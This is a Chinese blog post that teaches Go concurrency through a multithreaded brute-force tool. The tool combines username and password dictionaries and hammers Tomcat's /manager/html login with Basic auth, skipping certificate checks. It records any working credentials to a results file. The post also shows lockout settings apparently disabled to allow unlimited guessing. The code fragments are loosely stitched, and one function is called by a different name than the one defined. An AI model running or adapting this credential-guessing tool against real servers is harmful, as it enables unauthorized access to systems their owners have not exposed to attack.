『杂项』一次撞了南墙的 go 语言高并发小工具

failureCount=10000000000lockOutTime=0

1.并发：多线程程序在单核心的 cpu 上运行，称为并发，但go语言在1.8版本之后都是多核运行。2.协程：独立的栈空间，共享堆空间，调度由用户自己控制，本质上有点类似于用户级线程，这些用户级线程的调度也是自己实现的。3.线程：一个线程上可以跑多个协程，协程是轻量级的线程。4.goroutine：是一种非常轻量级的实现，可在单个进程里执行成千上万的并发任务，它是Go语言并发设计的核心。5.channel：Go语言在语言级别提供的 goroutine 间的通信方式。我们可以使用 channel 在两个或多个 goroutine 之间传递消息。

1.并发能更客观地表现问题模型；2.并发可以充分利用 CPU 核心的优势，提高程序的执行效率；3.并发能充分利用 CPU 与其他硬件设备固有的异步性。

 //组合账密    for _,name :=range names{        for _,pass := range passwds{            key :=name + ":" + pass            keys = append(keys,key)        }
    }

//设置字典管道        keyChan:= make(chan string, len(keys))        //生产者        for _,key :=range keys{            keyChan <- key        }        close(keyChan)

func BurpOne (keyChan <- chan string,wg *sync.WaitGroup,url string)  {
    for key:= range keyChan{        //取消https证书验证        //get请求        client := resty.New().SetTimeout(10 * time.Second).SetTLSClientConfig(&tls.Config{InsecureSkipVerify: true})        resp, err := client.R().            SetHeader("Authorization", " Basic "+ base64.StdEncoding.EncodeToString([]byte(key))).            Get(url+"/manager/html")        if err != nil {            fmt.Println(err)            os.Exit(0)        }        //获取响应包的状态码        respCode := resp.StatusCode()        if respCode == 200 {            fmt.Println(url,"爆破成功，账号密码为：",key)            Write("[+] "+url+"爆破成功，账号密码为："+key)            break
        }else {            fmt.Println("[-] "+url+"  账户密码错误：",key)        }
    }    //消费完必须调用done，减少线程的等待    wg.Done()
}

//设置线程阻塞            wg.Add(threads)            //消费者            for i:=0; i<threads; i++{                go config.BurpAll(keyChan,&wg,v)            }
            wg.Wait()

func ReadFile(fileName string) []string {    list, err := os.Open(fileName)    if err != nil {        fmt.Printf("Open %s error, %v", fileName, err)        //os.Exit(0)    }    defer list.Close()
    var lists []string    scanner := bufio.NewScanner(list)    scanner.Split(bufio.ScanLines)    var text string    for scanner.Scan() {        text = strings.TrimSpace(scanner.Text())        lists = append(lists, text)    }    return lists}

func Write(output string) {    //如果没有test.txt这个文件那么就创建，并且对这个文件只进行写和追加内容。    file, err := os.OpenFile("./result.txt", os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0644)    if err != nil {        fmt.Printf("文件错误,错误为:%vn", err)        return    }    defer file.Close()    str := output + "n"    file.Write([]byte(str)) //将str字符串的内容写到文件中，强制转换为byte，因为Write接收的是byte。}